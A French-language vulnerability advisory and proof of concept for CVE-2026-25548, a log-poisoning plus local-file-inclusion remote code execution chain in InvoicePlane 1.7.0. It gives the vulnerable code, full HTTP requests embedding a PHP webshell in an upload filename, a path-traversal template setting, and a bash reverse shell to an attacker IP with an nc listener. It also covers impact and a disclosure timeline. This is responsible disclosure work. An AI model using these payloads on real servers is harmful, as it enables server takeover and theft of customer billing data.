
# Analyse technique détaillée et preuve de concept pour CVE-2026-25548, une RCE critique dans InvoicePlane 1.7.0 via LFI et empoisonnement de journaux, incluant la chaîne d'attaque, les requêtes PoC et l'analyse d'impact.
Vulnérabilité : Exécution de code à distance via inclusion locale de fichier + empoisonnement des journaux
Produit : InvoicePlane
Version affectée : 1.7.0 (et probablement les versions antérieures)
Gravité : Critique
Score CVSS 3.1 : 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
CWE : CWE-98, CWE-117, CWE-94
Découvert par : Leonidas Agathos
Date de signalement : 2026-01-31
Une chaîne de vulnérabilités critique dans InvoicePlane 1.7.0 permet à un administrateur authentifié d'obtenir une exécution de code à distance (RCE) sur le serveur sous-jacent. L'attaque combine deux faiblesses :
.php de CodeIgniter, permettant l'injection de code PHP arbitraire.Lorsqu'elles sont combinées, un attaquant disposant d'un accès administrateur peut compromettre entièrement le serveur en tant qu'utilisateur du serveur web. Le déclencheur final du RCE est non authentifié (URL de facture publique).
| Attribut | Valeur |
|---|---|
| Fichier | application/modules/guest/controllers/View.php |
| Lignes | 85, 191 |
| Paramètre | public_invoice_template (paramètre de base de données) |
| CWE | CWE-98 : Contrôle inapproprié du nom de fichier pour l'instruction Include/Require |
Code vulnérable (View.php:85) :
$this->load->view('invoice_templates/public/' .
get_setting('public_invoice_template') . '.php', $data);
Code vulnérable (View.php:191) :
$this->load->view('quote_templates/public/' .
get_setting('public_quote_template') . '.php', $data);
Les paramètres public_invoice_template et public_quote_template sont récupérés depuis la base de données et concaténés directement dans un chemin de fichier passé à load->view() de CodeIgniter (qui se résout en include() de PHP). Il n'y a aucune validation pour :
../)Un administrateur peut définir cette valeur sur n'importe quel chemin du système de fichiers, limité uniquement par l'extension .php ajoutée automatiquement.
| Attribut | Valeur |
|---|---|
| Fichier | application/modules/upload/controllers/Upload.php |
| Lignes | 178–184 |
| Paramètre | Nom de fichier téléversé (données de formulaire multipart HTTP) |
| CWE | CWE-117 : Neutralisation de sortie inappropriée pour les journaux |
Code vulnérable (Upload.php:178-184) :
private function sanitize_file_name(string $filename): string
{
if (str_contains($filename, '..')
|| str_contains($filename, '/')
|| str_contains($filename, '\\')
|| str_contains($filename, "\0")) {
log_message('error', 'Path traversal attempt detected in filename: ' . $filename);
return '';
}
// ...
}
Lorsqu'un nom de fichier déclenche la vérification de traversée de chemin, le nom de fichier brut et non assaini est écrit directement dans le fichier journal. Les fichiers journaux de CodeIgniter :
.php : application/logs/log-YYYY-MM-DD.php<?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>Un attaquant intégrant <?php system($_GET[1]); ?> dans le nom de fichier provoque l'écriture de cette charge utile dans le journal, puis son exécution ultérieure via le LFI.
[Utilisateur authentifié] → Téléversement d'un nom de fichier malveillant → PHP injecté dans le fichier journal
[Administrateur] → Définition du paramètre de modèle → Le LFI pointe vers le fichier journal
[Tout le monde] → Visite de l'URL de facture publique → RCE
| Étape | Exigence |
|---|---|
| Empoisonnement des journaux | Utilisateur authentifié avec accès au téléversement |
| Configuration du LFI | Compte administrateur |
| Déclenchement du RCE | Non authentifié (URL de facture publique) |
Envoyez une requête de téléversement de fichier avec un webshell PHP intégré dans le nom de fichier. La vérification de traversée de chemin se déclenchera et écrira le nom de fichier brut (y compris la charge utile PHP) dans le fichier journal.
Requête (via Burp Suite) :
POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=...
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="_ip_csrf"
<csrf_token>
------Boundary
Content-Disposition: form-data; name="file"; filename="..<?php system($_GET[1]); ?>.jpg"
Content-Type: image/jpeg
test
------Boundary--
Le serveur rejette le téléversement (upload_error_invalid_extension) mais l'entrée de journal est déjà écrite :
Résultat dans application/logs/log-2026-01-31.php :
ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ..<?php system($_GET[1]); ?>.jpg
Naviguez vers la section Pièces jointes d'une facture et cliquez sur Ajouter des fichiers pour atteindre le point de terminaison de téléversement.



En tant qu'administrateur, définissez le paramètre public_invoice_template pour pointer vers le fichier journal du jour à l'aide d'une charge utile de traversée de chemin. Le chargeur de vues de CodeIgniter ajoute .php automatiquement.
Requête (via Burp Suite) :
POST /index.php/settings HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=<admin_session>
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="settings[public_invoice_template]"
../../../logs/log-2026-01-31
------Boundary--
Le chemin de traversée se résout depuis application/views/invoice_templates/public/ jusqu'à application/logs/, puis inclut log-2026-01-31.php.

Accédez à n'importe quelle URL de facture publique avec une commande passée en paramètre GET 1. Aucune authentification n'est requise.
Requête :
GET /index.php/guest/view/invoice/<invoice_url_key>?1=id HTTP/1.1
Host: 172.25.0.12
Réponse (dans le code source de la page) :
Path traversal attempt detected in filename: ..uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
.jpg
La charge utile system($_GET[1]) exécute la commande id et sa sortie est reflétée en ligne dans la page.

Remplacez la commande par une charge utile de shell inversé bash pour obtenir un shell interactif :
GET /index.php/guest/view/invoice/<invoice_url_key>?1=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.25.131/4444+0>%261' HTTP/1.1
Sur la machine de l'attaquant :
nc -lnvp 4444
Résultat :
connect to [192.168.25.131] from (UNKNOWN) [172.25.0.11] 43360
www-data@0dd592f7a424:~/projects/invoiceplane$
Shell interactif complet en tant que www-data.

| Dimension | Évaluation | Détail |
|---|---|---|
| Confidentialité | ÉLEVÉE | Accès en lecture complet à tous les fichiers accessibles par l'utilisateur du serveur web, y compris les identifiants de base de données et les données de facturation des clients |
| Intégrité | ÉLEVÉE | Écriture de fichiers arbitraires, modification de la base de données, installation de webshell |
| Disponibilité | ÉLEVÉE | Déni de service, déploiement de ransomware, destruction du système |
| Fichier | Vulnérabilité |
|---|---|
application/modules/guest/controllers/View.php:85 | LFI — Modèle de facture |
application/modules/guest/controllers/View.php:191 | LFI — Modèle de devis |
application/modules/upload/controllers/Upload.php:182 | Empoisonnement des journaux |
application/modules/settings/controllers/Settings.php | Aucune validation du paramètre de modèle |
| Date | Événement |
|---|---|
| 2026-01-30 | Vulnérabilité découverte |
| 2026-01-31 | Preuve de concept développée |
| 2026-01-31 | Fournisseur notifié |
| 2026-02-03 | Accusé de réception du fournisseur |
| 2026-02-03 | Correctif publié |
| 2026-02-04 | Divulgation publique |
Cette vulnérabilité a été découverte lors d'une recherche en sécurité indépendante. Toutes les informations sont fournies strictement à des fins éducatives, de recherche et de défense afin d'aider le fournisseur et la communauté de la sécurité à comprendre et à corriger le problème. Toute utilisation malveillante de ces informations est strictement interdite.